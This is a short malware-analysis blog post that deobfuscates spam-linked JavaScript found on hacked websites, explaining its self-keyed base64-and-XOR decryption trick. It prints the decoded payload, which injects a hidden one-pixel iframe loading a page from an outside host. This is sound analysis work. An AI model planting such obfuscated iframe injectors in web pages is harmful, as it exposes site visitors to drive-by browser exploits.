The Maria-14186255 Malware Spam

In the last few days I recieved a lot of SPAM mails with a From:-address that purports to be some Maria-14186255 somewhere in ukraine. They all contain a plain URL and something that camouflages as an unsubscribe link, both containing some unique file name like JnhLi08X4z.htm. These seem to be web sites that have been hacked, and on some you can still find a cryptic piece of javascript with a function wSeRLHzrSUGfbB(cIqLnSMrU) that in the end inserts an 1-by-1 iframe in the page.
The javascript function as well as all variables in it have long and cryptic names, but if you look at it for a while, you can see that it builds a string that it then passes to eval at the end:
return eval(WlULi);
So the first reaction if one wants to see what the code does is to just replace the eval with an alert and load the page in a browser with activated javascript, but that results in a dialog box full of gibberish. What is going on here?

A closer look at the code reveals that the function assigns itself to a variable, converts the value of that variable to a string:

rKxmdgfsjc=wSeRLHzrSUGfbB;
...
rKxmdgfsjc=rKxmdgfsjc.toString();
and finally uses a string generated from that as a key to decrypt some intermediate value to get the string passed to eval. So to decipher the code, I need the original function with the original name in scope and put the alert call into a second, cleaned up copy of the function which I can then call safely:
function decodeAndRun(arg){
 var tmpResult="",byte1,byte2,byte3,char1,char2,char3,char4,idx,codeAsKey;
 var base64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
 var result="";
 for(idx=0;idx<arg.length;) {
     char1=base64.indexOf(arg.charAt(idx++));
     char2=base64.indexOf(arg.charAt(idx++));
     char3=base64.indexOf(arg.charAt(idx++));
     char4=base64.indexOf(arg.charAt(idx++));
     byte1=(char1<<2)+(char2>>4);
     byte2=((char2&15)<<4)+(char3>>2);
     byte3=((char3&3)<<6)+char4;
     tmpResult+=String.fromCharCode(byte1);
     if(char3!=64)tmpResult+=String.fromCharCode(byte2);
     if(char4!=64)tmpResult+=String.fromCharCode(byte3);
 }

 codeAsKey=wSeRLHzrSUGfbB.toString()
 codeAsKey=codeAsKey.replace(/\W/g,"");
 codeAsKey=codeAsKey.split("").reverse().join("");
 for(idx=0;idx<tmpResult.length;idx++) {
     result+=String.fromCharCode(tmpResult.charCodeAt(idx%tmpResult.length)^codeAsKey.charCodeAt(idx%codeAsKey.length));
 }
 alert(result);
}
This function has two parts. The first for-loop with the many scary looking variables like namwSyoX, RDqgWs, wFNcXL or oXHCthJwL turns out to be just a standard base64 decoder once the names are clear. The original performs the conversion of the function to a string many times in the loop, I have moved it after the loop. A clever trick is to reverse the string before using it as a key, because most people analyzing the code would probably start by changing the malicious eval at the end of the function to a more benign output function like alert. Using the string as-is would then divulge at least the start of the evaled string.

The second for-loop xors every byte of the base64-decoded input string with one of the characters of the transformed source of the decoding function to produce the final result, which is:

var iframe = document.createElement("iframe");
		iframe.width = "1";
		iframe.height = "1";
		iframe.src = "http://mis4hs7hhs.com/h/ytczdngsgrh.php";
		document.body.appendChild(iframe);
This inserts an almost invisible element into the page that tries to load something from another server, probably an exploit for some browser vulnerability, but the hostname does no longer resolve, so I cannot tell what the real intention was.
Florian Hars <florian@hars.de>, 2011-01-30 (orig: 2010-12-09)